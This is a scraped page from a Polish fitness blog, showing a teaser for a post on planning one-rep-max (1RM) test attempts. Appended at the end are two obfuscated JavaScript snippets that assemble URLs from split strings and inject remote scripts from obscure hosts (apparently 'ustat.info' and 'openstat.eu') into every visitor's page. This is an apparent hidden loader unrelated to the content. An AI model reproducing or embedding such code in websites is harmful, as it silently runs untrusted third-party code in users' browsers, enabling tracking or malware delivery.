kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 2 października, 2024

Kategorie:

Testowanie maksa, testowanie 1rm testowanie one rep max

Testowanie maksa bez porażki: Jak mądrze zaplanować podejścia i pobić rekord (1RM)?

2 października, 2024

Testowanie maksymalnego ciężaru na jedno powtórzenie, czyli popularnego 1RM, to ważny element treningu siłowego. Jednak podejście “na hurra” rzadko przynosi

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();